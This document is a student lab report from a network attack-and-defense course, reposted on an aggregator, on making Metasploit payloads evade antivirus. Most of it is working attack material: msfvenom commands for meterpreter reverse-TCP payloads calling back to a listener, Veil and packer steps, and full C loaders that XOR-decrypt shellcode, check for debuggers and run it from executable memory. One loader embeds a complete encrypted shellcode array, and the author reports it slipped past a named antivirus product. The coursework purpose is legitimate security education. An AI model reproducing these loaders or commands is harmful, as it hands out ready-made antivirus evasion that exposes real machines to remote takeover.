20232309 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 22:59:14/文章来源:https://www.cnblogs.com/zsxbh/p/19163770

1.实验内容

1.1学习内容

1.msfvenom的使用
2.veil的下载和使用

1.2问题回答

1.杀软是如何检测出恶意代码的?

  • 特征码检测:通过比对文件或程序的静态特征(如特定字符串、哈希值、代码片段)与病毒库中的已知恶意代码特征进行匹配
  • 启发式检测:分析文件行为特征,根据是否体现出恶意行为自主判断
  • 行为监测:实时监控程序行为,如果有异常操作(如未经授权访问敏感目录/数据、向外发送大量信息、尝试提权等)则判定有潜在威胁
  • 机器学习检测、云查杀等其他方法

2.免杀是做什么?
使用各种手段绕过上述杀软或安全系统的检测机制,防止被查杀

3.免杀的基本方法有哪些?
修改特征码、加壳(压缩壳、加密壳等)、不同语言or文件格式混淆、伪装行为、直接注入内存运行等

1.3实验任务

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1正确使用msf编码器,使用msfvenom生成不同类型文件

使用msfvenom -h可以进行相关参数的查询

image

-l+相关参数(+s) 可以查询具体内容列表,eg:msfvenom -l payloads可以查看负载列表;msfvenom -l formats 可以查看输出文件格式列表

1.生成exe文件形成免杀效果参考基准

(1)使用命令生成可执行文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.46.102 LPORT=6666 -f exe > meter20232309.exe

-p 选择payload;LHOST攻击机ip;LPORT选择端口;-f指定生成格式

文件在VirusTotal上进行检测,结果如下

image

(2)使用命令编码生成可执行文件msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.46.102 LPORT=6666 -f exe > met_encoded1_20232309.exe

-e 选择编码器;-b 是要避免的坏字符

image

检测结果为44/72

image

(3)使用命令增加编码次数生成可执行文件msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.46.102 LPORT=6666 -f exe > met_encoded2_20232309.exe

-i 设置编码次数

image

检测结果为43/72

image

可以看出对于windows下的可执行文件exe而言,编码效果并不是非常显著。

2.生成其他格式的文件

(1)使用命令生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.46.102 LPORT=6666 -f jar > meter_java_20232309.jar

注意由于生成文件格式变化为jar,payload部分要相应更改为对应的java环境下的payload(后续命令同)

编码器加密10次msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.46.102 LPORT=6666 -f jar > meter_javae_20232309.jar

image

(2)使用命令生成php文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.46.102 LPORT=6666 -f raw > meter_php_20232309.php

编码器加密10次msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.46.102 LPORT=6666 -f raw > meter_phpe_20232309.php

image

(3)使用命令生成elf文件msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.102 LPORT=6666 -f elf > meter_elf_20232309.elf

编码器加密10次msfvenom -p linux/x86/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.46.102 LPORT=6666 -f elf > meter_elfe_20232309.elf

image

(4)6个文件检测结果分别如下
jar

image

jar编码

image

php

image

php编码

image

elf

image

elf编码

image

可以看出在以上文件中php编码后的文件检出率较低,效果较好。

2.1.2veil,加壳工具

1.使用以下代码手动安装veil

sudo apt -y install veil   #安装veil软件包(-y 自动yes回答问题)
/usr/share/veil/config/setup.sh --force --silent   #下载完成后运行veil自带的配置脚本setup.sh
#--force:强制安装,即使系统可能已有部分依赖项
#--silent:在不提示确认的情况下自动安装所有依赖项

输入veil,出现如下界面则说明安装成功(过程并不一帆风顺,详见问题及解决方案部分)

image

2.输入use evasion进入模块,list查看可用载荷

image

选择一个载荷,这里选择第7项c/meterpreter/rev_tcp.py,输入use 7进入载荷配置,可以看到显示了载荷的相关信息。该载荷意为使用反向tcp连接,meterpreter作为攻击载荷,以C语言编译成可执行文件。

image

输入set LHOST set LPORT配置反向连接的攻击机使用的ip和端口,generate生成

image

按照路径查看到可执行文件,传到主机

image

进行检测,结果是38/71,效果一般

image

3.加壳试试
(1)UPX壳:压缩壳,减少文件体积
使用kali自带的加壳命令,输入原始文件名和输出文件名upx payload1_20232309.exe -o payload2_upx_20232309.exe

image

传输文件到主机,检测结果如下,没什么作用

屏幕截图 2025-10-25 154142

(2)Hyperion壳:加密壳
cp payload1_20232309.exe /usr/share/windows-resources/hyperion将待加壳文件拷贝到hyperion目录下
cd /usr/share/windows-resources/hyperion进入目录
ls查看当前目录,确认拷贝成功
wine hyperion.exe -v payload1_20232309.exe payload3_hyp_20232309.exe 进行加壳
(-v表示verbose,即让程序输出更多的状态和信息)

image

传输文件到主机,检测结果如下,检出率不降反升。。。

image

2.1.3使用C + shellcode编程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.46 LPORT=2309 -f c 生成c语言格式的shellcode数组

image
vi shellcode_20232309.c创建并进入.c文件,将刚刚生成的内容复制进去,在后面加上下列代码,完成后:wq!保存退出

int main(){int(*func)()=(int(*)())buf;   #将 buf(字符数组/Shellcode)强制转换为函数指针类型,告诉编译器把这块内存当作函数来处理,赋值给相同类型的函数指针funcfunc();   #通过函数指针调用“函数”,执行shellcode
}

i686-w64-mingw32-g++ shellcode_20232309.c -o shellcode_c_20232309.exe编译生成可执行文件

image

检测该文件如下,只能说还行

image

2.2通过组合应用各种技术实现恶意代码免杀

1.经过考虑,我首先选择先使用msfvenom,选择载荷windows/meterpreter/reverse_https并经过15次编码生成纯shellcode,输出到二进制文件,具体命令如下
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.5.14 LPORT=2309 -e x86/shikata_ga_nai -i 15 -f raw > shellcode_20232309.bin

image

2.由于单纯的shellcode特征明显,容易被识别出,因此手动编写C加载器,相比直接套用模板可以降低被检出风险
手动编写的C加载器中可以通过shellcode的自定义加密(此处采用了基础的XOR加密)等手段规避查杀

XOR加密即利用异或运算可逆,进行两次相同的异或运算即为原文的特性进行加密,加解密密钥相同。异或操作可以有效改变Shellcode的原始字节序列,规避简单的特征匹配。解密后,Shellcode在内存中恢复原样以供执行。

(1)首先vim encrypt_shellcode.py编写一个简单的XOR加密并输出加密后的shellcode数组的Python脚本如下

# encrypt_shellcode.py
import sysdef xor_encrypt(data, key):return bytes([b ^ key for b in data])# 读取原始shellcode
with open('shellcode_20232309.bin', 'rb') as f:original_shellcode = f.read()# 设置XOR密钥
xor_key = 0xAA  # 可以修改这个值# 加密shellcode
encrypted_shellcode = xor_encrypt(original_shellcode, xor_key)# 输出为C数组格式
print("unsigned char encrypted_shellcode[] = {")
for i, byte in enumerate(encrypted_shellcode):if i % 16 == 0:print("    ", end="")print(f"0x{byte:02x}", end="")if i < len(encrypted_shellcode) - 1:print(", ", end="")if (i + 1) % 16 == 0:print()
print("\n};")

python3 encrypt_shellcode.py运行该脚本,复制打印出来的内容

image

(2)vim 20232309_loader.c 编辑自定义加载器程序,将刚刚复制的加密shellcode粘贴至对应处,完成后检查保存

#include <windows.h>
#include <stdio.h>// 简单的XOR加密/解密函数
void xor_encrypt_decrypt(unsigned char *data, size_t data_len, unsigned char key) {for (size_t i = 0; i < data_len; i++) {data[i] = data[i] ^ key;}
}// 执行shellcode的函数
void execute_shellcode(unsigned char *shellcode, size_t shellcode_len) {printf("[+] Shellcode 长度: %zu 字节\n", shellcode_len);// 1. 分配可执行内存LPVOID memory = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (memory == NULL) {printf("[-] 内存分配失败!\n");return;}printf("[+] 内存分配成功: 0x%p\n", memory);// 2. 复制shellcode到内存memcpy(memory, shellcode, shellcode_len);printf("[+] Shellcode 复制到内存\n");// 3. 执行shellcodeprintf("[+] 开始执行shellcode...\n");((void(*)())memory)();
}int main() {printf("[+] C加载器启动...\n");// 你的加密后的shellcode - 这里需要替换成你的实际shellcodeunsigned char encrypted_shellcode[] = "\x这里需要替换成你的实际shellcode";size_t shellcode_len = sizeof(encrypted_shellcode) - 1; // 减去null终止符// XOR密钥 - 你可以修改这个值unsigned char xor_key = 0xAA;printf("[+] 使用XOR密钥: 0x%02X\n", xor_key);printf("[+] 解密shellcode...\n");// 解密shellcodexor_encrypt_decrypt(encrypted_shellcode, shellcode_len, xor_key);// 执行解密后的shellcodeexecute_shellcode(encrypted_shellcode, shellcode_len);return 0;
}

3.x86_64-w64-mingw32-gcc -o 20232309_self_payload.exe 20232309_loader.c -s -O2进行交叉编译,生成可执行文件,可以使用upx加壳后对比一下没加壳的效果

4.将生成文件传进主机文件夹进行扫描,很遗憾两个都被杀软发现了orz

d805925c32d5096949e8ab7c94470293

5.因此,尝试在原来的加载器程序中加入了反调试部分如下(依旧需要填充加密后的shellcode)

反调试主要用于应对动态分析,当程序检测到调试器运行时不执行恶意代码,防止被发现。

#include <windows.h>
#include <stdio.h>// 基础反调试检查
int anti_debug_check() {if (IsDebuggerPresent()) {printf("[-] 检测到调试器,退出!\n");return 1;}return 0;
}// XOR加密/解密函数
void xor_encrypt_decrypt(unsigned char *data, size_t data_len, unsigned char key) {for (size_t i = 0; i < data_len; i++) {data[i] = data[i] ^ key;}
}// 执行shellcode
void execute_shellcode(unsigned char *shellcode, size_t shellcode_len) {printf("[+] 分配可执行内存...\n");LPVOID memory = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!memory) {printf("[-] 内存分配失败\n");return;}printf("[+] 复制shellcode到内存: 0x%p\n", memory);memcpy(memory, shellcode, shellcode_len);printf("[+] 执行shellcode...\n");// 添加小延迟,避免可疑行为Sleep(1000);((void(*)())memory)();
}int main() {printf("[+] 程序启动...\n");// 反调试检查if (anti_debug_check()) {return 1;}// 你的加密shellcode在这里unsigned char encrypted_shellcode[] = {// 这里替换成你的加密shellcode0x12, 0x34, 0x56, 0x78  // 示例数据};size_t shellcode_len = sizeof(encrypted_shellcode);unsigned char xor_key = 0xAA;printf("[+] Shellcode长度: %zu bytes\n", shellcode_len);printf("[+] 解密中...\n");// 解密xor_encrypt_decrypt(encrypted_shellcode, shellcode_len, xor_key);// 执行execute_shellcode(encrypted_shellcode, shellcode_len);return 0;
}

6.同样编译、加upx壳,生成两个文件(加壳和不加壳)后放进主机用杀软扫描,这次成功了(^-^)V

使用的检测软件是联想电脑管家(版本为5.1.120.7041)与杀软共生结果截图(改进后的文件没被查出)

image

测评一下

image

加了upx壳后检测还是差不多,感觉upx加壳没啥用...

image

7.做完2.3回来的发言 后面试验了一下前面生成的exe,因为shellcode有编码15次加密最后程序运行崩溃了,https的payload也不太能用,所以重新按命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.14 LPORT=2309 -f raw > shellcode_20232309.bin生成了shellcode,加密步骤不变,后续的手工C加载器最终代码如下,编译生成可执行文件,终于能用了...


#include <windows.h>
#include <stdio.h>
#include <string.h> // 添加memcpy所需的头文件
#include <signal.h> // 添加信号处理头文件// 设置控制台编码为UTF-8
void set_console_encoding() {SetConsoleOutputCP(65001); // UTF-8代码页printf("控制台编码已设置为UTF-8\n");
}// 基础反调试检查
int anti_debug_check() {if (IsDebuggerPresent()) {printf("[-] 检测到调试器,退出!\n");return 1;}return 0;
}// XOR加密/解密函数
void xor_encrypt_decrypt(unsigned char *data, size_t data_len, unsigned char key) {for (size_t i = 0; i < data_len; i++) {data[i] = data[i] ^ key;}
}// 信号处理函数,用于捕获程序崩溃
void signal_handler(int sig) {printf("[-] 程序接收到信号 %d,可能发生崩溃\n", sig);// 注意:在信号处理函数中只能执行有限的操作
}// 执行shellcode
void execute_shellcode(unsigned char *shellcode, size_t shellcode_len) {printf("[+] 分配可执行内存...\n");LPVOID memory = VirtualAlloc(NULL, shellcode_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (!memory) {printf("[-] 内存分配失败\n");return;}printf("[+] 复制shellcode到内存: 0x%p\n", memory);memcpy(memory, shellcode, shellcode_len);printf("[+] 执行shellcode...\n");// 添加小延迟Sleep(1000);// 注册信号处理函数,尝试捕获崩溃signal(SIGSEGV, signal_handler); // 捕获段错误signal(SIGILL, signal_handler);  // 捕获非法指令signal(SIGFPE, signal_handler);  // 捕获浮点异常// 使用函数指针类型定义,更安全的执行方式typedef void (*shellcode_func)();shellcode_func func = (shellcode_func)memory;// 直接执行,不再使用__try/__exceptfunc();// 恢复默认信号处理signal(SIGSEGV, SIG_DFL);signal(SIGILL, SIG_DFL);signal(SIGFPE, SIG_DFL);// 释放内存,避免内存泄漏VirtualFree(memory, 0, MEM_RELEASE);printf("[+] 已释放分配的内存\n");
}int main() {set_console_encoding();printf("[+] 程序启动...\n");// 反调试检查if (anti_debug_check()) {return 1;}// 你的加密shellcode在这里
unsigned char encrypted_shellcode[] = {0x56, 0xe2, 0x29, 0x4e, 0x5a, 0x42, 0x66, 0xaa, 0xaa, 0xaa, 0xeb, 0xfb, 0xeb, 0xfa, 0xf8, 0xfb, 0xe2, 0x9b, 0x78, 0xfc, 0xcf, 0xe2, 0x21, 0xf8, 0xca, 0xe2, 0x21, 0xf8, 0xb2, 0xe2, 0x21, 0xf8, 0x8a, 0xe2, 0x21, 0xd8, 0xfa, 0xe7, 0x9b, 0x63, 0xe2, 0xa5, 0x1d, 0xe0, 0xe0, 0xe2, 0x9b, 0x6a, 0x06, 0x96, 0xcb, 0xd6, 0xa8, 0x86, 0x8a, 0xeb, 0x6b, 0x63, 0xa7, 0xeb, 0xab, 0x6b, 0x48, 0x47, 0xf8, 0xeb, 0xfb, 0xe2, 0x21, 0xf8, 0x8a, 0x21, 0xe8, 0x96, 0xe2, 0xab, 0x7a, 0xcc, 0x2b, 0xd2, 0xb2, 0xa1, 0xa8, 0xa5, 0x2f, 0xd8, 0xaa, 0xaa, 0xaa, 0x21, 0x2a, 0x22, 0xaa, 0xaa, 0xaa, 0xe2, 0x2f, 0x6a, 0xde, 0xcd, 0xe2, 0xab, 0x7a, 0x21, 0xe2, 0xb2, 0xee, 0x21, 0xea, 0x8a, 0xfa, 0xe3, 0xab, 0x7a, 0x49, 0xfc, 0xe7, 0x9b, 0x63, 0xe2, 0x55, 0x63, 0xeb, 0x21, 0x9e, 0x22, 0xe2, 0xab, 0x7c, 0xe2, 0x9b, 0x6a, 0x06, 0xeb, 0x6b, 0x63, 0xa7, 0xeb, 0xab, 0x6b, 0x92, 0x4a, 0xdf, 0x5b, 0xe6, 0xa9, 0xe6, 0x8e, 0xa2, 0xef, 0x93, 0x7b, 0xdf, 0x72, 0xf2, 0xee, 0x21, 0xea, 0x8e, 0xe3, 0xab, 0x7a, 0xcc, 0xeb, 0x21, 0xa6, 0xe2, 0xee, 0x21, 0xea, 0xb6, 0xe3, 0xab, 0x7a, 0xeb, 0x21, 0xae, 0x22, 0xe2, 0xab, 0x7a, 0xeb, 0xf2, 0xeb, 0xf2, 0xf4, 0xf3, 0xf0, 0xeb, 0xf2, 0xeb, 0xf3, 0xeb, 0xf0, 0xe2, 0x29, 0x46, 0x8a, 0xeb, 0xf8, 0x55, 0x4a, 0xf2, 0xeb, 0xf3, 0xf0, 0xe2, 0x21, 0xb8, 0x43, 0xe1, 0x55, 0x55, 0x55, 0xf7, 0xe3, 0x14, 0xdd, 0xd9, 0x98, 0xf5, 0x99, 0x98, 0xaa, 0xaa, 0xeb, 0xfc, 0xe3, 0x23, 0x4c, 0xe2, 0x2b, 0x46, 0x0a, 0xab, 0xaa, 0xaa, 0xe3, 0x23, 0x4f, 0xe3, 0x16, 0xa8, 0xaa, 0xa3, 0xaf, 0x6a, 0x02, 0xaf, 0xa4, 0xeb, 0xfe, 0xe3, 0x23, 0x4e, 0xe6, 0x23, 0x5b, 0xeb, 0x10, 0xe6, 0xdd, 0x8c, 0xad, 0x55, 0x7f, 0xe6, 0x23, 0x40, 0xc2, 0xab, 0xab, 0xaa, 0xaa, 0xf3, 0xeb, 0x10, 0x83, 0x2a, 0xc1, 0xaa, 0x55, 0x7f, 0xc0, 0xa0, 0xeb, 0xf4, 0xfa, 0xfa, 0xe7, 0x9b, 0x63, 0xe7, 0x9b, 0x6a, 0xe2, 0x55, 0x6a, 0xe2, 0x23, 0x68, 0xe2, 0x55, 0x6a, 0xe2, 0x23, 0x6b, 0xeb, 0x10, 0x40, 0xa5, 0x75, 0x4a, 0x55, 0x7f, 0xe2, 0x23, 0x6d, 0xc0, 0xba, 0xeb, 0xf2, 0xe6, 0x23, 0x48, 0xe2, 0x23, 0x53, 0xeb, 0x10, 0x33, 0x0f, 0xde, 0xcb, 0x55, 0x7f, 0x2f, 0x6a, 0xde, 0xa0, 0xe3, 0x55, 0x64, 0xdf, 0x4f, 0x42, 0x39, 0xaa, 0xaa, 0xaa, 0xe2, 0x29, 0x46, 0xba, 0xe2, 0x23, 0x48, 0xe7, 0x9b, 0x63, 0xc0, 0xae, 0xeb, 0xf2, 0xe2, 0x23, 0x53, 0xeb, 0x10, 0xa8, 0x73, 0x62, 0xf5, 0x55, 0x7f, 0x29, 0x52, 0xaa, 0xd4, 0xff, 0xe2, 0x29, 0x6e, 0x8a, 0xf4, 0x23, 0x5c, 0xc0, 0xea, 0xeb, 0xf3, 0xc2, 0xaa, 0xba, 0xaa, 0xaa, 0xeb, 0xf2, 0xe2, 0x23, 0x58, 0xe2, 0x9b, 0x63, 0xeb, 0x10, 0xf2, 0x0e, 0xf9, 0x4f, 0x55, 0x7f, 0xe2, 0x23, 0x69, 0xe3, 0x23, 0x6d, 0xe7, 0x9b, 0x63, 0xe3, 0x23, 0x5a, 0xe2, 0x23, 0x70, 0xe2, 0x23, 0x53, 0xeb, 0x10, 0xa8, 0x73, 0x62, 0xf5, 0x55, 0x7f, 0x29, 0x52, 0xaa, 0xd7, 0x82, 0xf2, 0xeb, 0xfd, 0xf3, 0xc2, 0xaa, 0xea, 0xaa, 0xaa, 0xeb, 0xf2, 0xc0, 0xaa, 0xf0, 0xeb, 0x10, 0xa1, 0x85, 0xa5, 0x9a, 0x55, 0x7f, 0xfd, 0xf3, 0xeb, 0x10, 0xdf, 0xc4, 0xe7, 0xcb, 0x55, 0x7f, 0xe3, 0x55, 0x64, 0x43, 0x96, 0x55, 0x55, 0x55, 0xe2, 0xab, 0x69, 0xe2, 0x83, 0x6c, 0xe2, 0x2f, 0x5c, 0xdf, 0x1e, 0xeb, 0x55, 0x4d, 0xf2, 0xc0, 0xaa, 0xf3, 0xe3, 0x6d, 0x68, 0x5a, 0x1f, 0x08, 0xfc, 0x55, 0x7f
};size_t shellcode_len = sizeof(encrypted_shellcode);unsigned char xor_key = 0xAA;printf("[+] Shellcode长度: %zu bytes\n", shellcode_len);printf("[+] 解密中...\n");// 解密xor_encrypt_decrypt(encrypted_shellcode, shellcode_len, xor_key);// 执行execute_shellcode(encrypted_shellcode, shellcode_len);printf("[+] 程序正常结束\n");return 0;
}

扫描了一下居然没被杀软检测出来,幸福来得好突然是我的幻觉吗...

0b593651-344b-4e5c-aab6-664b6f199a89

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

尝试了半天运行不了,程序崩溃,应该是程序本身有问题。后来发现是shellcode生成时编码了15次的原因,把这个编码过程删掉最后生成的可执行文件就被杀软测出来了,(前面白高兴了orz)然而删掉后运行还是出现问题如下,原因是使用了https的payload,但是所需的相关数据库依赖没有配置好,看来我还是老老实实用tcp反弹吧...

image

换了tcp反弹就好了,按步骤在msfconsole里设置监听,没有关闭联想电脑管家,成功连到主机shell

image

(其实不知道成功了没有,不知道杀软没报错是不是因为误点了信任此文件夹之类的东西)

3.问题及解决方案

  • 问题1:在2.1.1中将文件上传至VirusTotal检测时出现上传文件后要求人机验证,验证通过后要求重新上传文件,上传后又要求人机验证,以此类推陷入循环无法检测
  • 问题1解决方案:可以用虚拟机和本机都进行上传尝试,或尝试切换不同网络(校园网or个人热点等)
  • 问题2:在2.1.2中安装veil时又不出所料的失败了(安装软件什么时候对我好一点...)在第二步运行veil配置脚本时最后的报错集合如下(抱歉忘记截图了只能用文字替代)
[ERROR] There was issues installing the following:Failed with git clone: 0
Failed to install (Wine) Python 3.4.4... Exit code: 2
Bad hash for PyInstaller.tar.gz!
Failed to run (wine) Python pip... Exit code: 53
Failed to run (wine) Python pip future... Exit code: 53
Failed to run (wine) Python pip pefile... Exit code: 53
Failed to install (Wine) Ruby.exe... Exit code: 53
Failed to run (wine) Ruby OCRA.. Exit code: 1
Bad hash for /var/lib/veil/setup-dependencies/go1.7.5.linux-amd64.tar.gz!
Failed to run (wine) AutoIT.. Exit code: 53
  • 问题2解决方案:起初我(通过AI的帮助)以为最关键的问题处在第二处(即"Failed to install (Wine) Python 3.4.4... Exit")Wine环境配置时无法安装win版Python导致的,重新手动安装了完整Wine环境并确认好之后运行配置脚本仍报错,仔细看了一大堆安装过程中才发现真正的问题应该是在git clone处显示的如下报错,表示在Git通过HTTPS协议与服务器建立安全连接时,TLS(传输层安全协议)握手失败,连接被意外中断。
致命错误:无法访问 'https://github.com/Veil-Framework/VeilDependencies.git/' GnuTLS recv error (-110): TLS 链接非正常地终止了。

查找了一下可能导致这个报错的原因(可见参考资料),同时机缘巧合之下换了手机热点联网重新运行配置脚本,成功了......
被无语笑了,怎么老是跟网过不去

4.学习感悟、思考等

这次对于msfvenom工具和veil的使用都有了更多的理解,由于反复失败而反复操作相似的命令使得我对命令的熟悉程度也增加了许多....在下载软件和免杀实验中也是不出所料地遇到了当时感觉是有点绝望的困难,感谢强大的AI工具在调试时帮了我很多忙不然真的要死了....
以及没有金刚钻别揽瓷器活,在自主制作免杀程序时想要尝试一些比较新奇和困难的操作然后成功把自己作死了,没有做出来,遇到了一些问题最终没能解决很失败orz,我还是太菜了,要多多提高水平啊

参考资料

  • “GnuTLS recv error (-110): TLS 链接非正常地终止了。”报错解决

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948161.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

应急响应特洛伊挖矿木马

州弟应急响应|特洛伊挖矿木马 前言 被感染主程序会释放/tmp/随机命名挖矿文件 产生的crontab无法下载与删除 被感染的git程序环境:特洛伊挖矿木马事件排查 还记得我们上一次的挖矿环境吗,上一次算是最简单的挖矿环境…

20232429 马成栋 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 问题回答: (1)杀软是如何检测出恶意代码的? 1.特征码检测,2.行为分析检测,3.启发式检测。 (2)免杀是做什么? 免杀本质是“让恶意代码绕过杀软检测的技术手段”,但需明确其合法边界。 (3)免杀的…

做题记录 #4

A. P11364 树上查询 (7) 一开始想着直接转 dfn 好处理一个区间的 LCA,因为编号区间可以直接变成区间最大最小 dfn 中最小 dep。但是若是想要维护,很难不上一些笛卡尔树和单调栈。玩一玩想一想发现根本想不到一个性质…

扩散模型

论文:《Denoising Diffusion Probabilistic Models》(DDPM, NeurIPS 2020) 简述: (大白话) 训练阶段:首先是将图片一步步进行加noise,将每一步加入noise生成的像素图片进行去噪,目标是预测噪声;预测阶段:从…

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1. 实验内容 本次实验的名称为免杀原理与实践,通过本部分内容的学习,能够掌握免杀原理与技术,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力…

《程序员修炼之道》阅读笔记2

书里反复强调,程序员不能把学习停留在 “够用就好” 的层面,因为技术行业的迭代速度太快了 —— 今天课堂上教的热门框架,可能几年后就会被更高效的工具替代;现在觉得 “用不上” 的底层原理,说不定哪天就成了解决…

算法分析--分治--1.二分搜索

难题被逐层拆解,每一次的拆解都使它变得更为简单。分而治之揭示了一个重要的事实:从简单做起,一切都不再复杂。 1.1 分治算法 分治 是一种非常常见的算法策略。 分:将整个问题划分为多个小问题。 治:从小问题开始…

衡量模型生成图片质量的指标

FID 是生成图像和真实图像在特征空间中的分布距离。(越小越好)1.FID 假设生成图像和真实图像在特征空间的分布都是高斯分布,然后计算这两个高斯分布的距离。 CLIP是什么?(对比语言图像预训练)它有image Encoder …

代码大全2 第一章 与第二章

看《代码大全 2》前两章,感觉像被人点醒了似的,之前对编程的理解太浅了。第一章直接说透,软件构建根本不是光敲代码就行,它跟前期琢磨需求、设计框架,还有后期测试都绑在一起,做得好不好直接影响软件能不能用久、…

面试谈薪资指南:掌握主动权的关键策略

前言 作为前大厂的技术总监,我见到过非常多的谈薪资表现,90%以上都不合格。有的漫天要价,有的临时变卦,有的丧失主动权,被牵着鼻子走,甚至还有反问HR"这个岗位的薪资预算是多少",企图打听出来企业最高…

CF2018B

CF2018B Speedbreaker 被*1900狠狠杀掉了麻麻,S组即将来临我真的没救了。。。。 考虑无解的情况,对于每一个时间 \(t\),找到能够包含所有 \(a_i\) 满足 \(a_i\leq t\) 的区间 \([l_t,r_t]\),意思就是在 \(t\) 的时…

10/27

太难了,要搭建一个真正的项目了,昨天英语作业系统故障没交上,下次交早点

第7天(中等题 滑动窗口)

打卡第七天 2道中等题class Solution { public:int equalSubstring(string s, string t, int maxCost) {int n = s.length();vector<int> diff(n, 0);//创建数组存储s和t对应位置字符的ASCII码差值for (int i = …

C++ 获取 const char* 字符串长度

C++ 获取 const char* 字符串长度C++ 获取 const char* 字符串长度 获取字符串长度的方法有哪些。 strlen strlen.c 源码如下 size_t strlen(const char *str) {const char *s;for (s = str; *s; ++s);return (s - str…

20251027——读后感2

面对多变的需求,可先做可丢弃的原型。比如要开发一个新的电商APP,先快速做个包含核心功能的简易原型,让用户试用后反馈,再基于此开发正式系统,避免在错误需求上浪费时间,就像盖房子先搭个简易框架看结构是否合理…

window[-INPUT-] 还有哪些属性或方法

在PySimpleGUI中,除了.update()方法外,window["-INPUT-"]等元素对象还支持以下属性和方法,按功能分类整理如下: 核心方法.get()功能:获取元素的当前值(如输入框内容、下拉菜单选中项等)。 示例:inpu…

DeepSeek-DSA讲解

1. MQA: Multi-Query Attention 多查询注意力机制 (MQA) 是 Transformer 中使用的传统多头自注意力机制(MHA)的一种变体。在传统的多头注意力机制中,每个注意力头都使用自己的一组查询、键和值,这可能需要大量计算,…

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘问题简述: AttributeError: tensorrt.tensorrt.Builder object has no attribute build_cuda_engine 原因: tensorrt版本大于…

C#/.NET/.NET Core技术前沿周刊 | 第 59 期(2025年10.20-10.26)

前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿,助力技术成长与…